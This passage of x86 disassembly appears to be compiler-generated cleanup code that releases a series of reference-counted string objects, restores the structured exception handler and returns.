mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x19
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413841
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x18
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41386c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x17
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413897
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x16
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4138c2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x15
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4138ed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x14
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413918
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x13
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413943
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x12
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41396b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x11
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413993
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x10
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4139bb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xf
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4139e3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xe
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413a0b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xd
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413a33
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xc
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413a5b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xb
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413a83
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xa
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413aab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 9
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413ad3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 8
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413afb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 3
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b23
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 2
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b4e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 1
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b79
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413ba1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xf0], 0xffffffff
mov eax, dword [esp + 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413bcf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xe8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4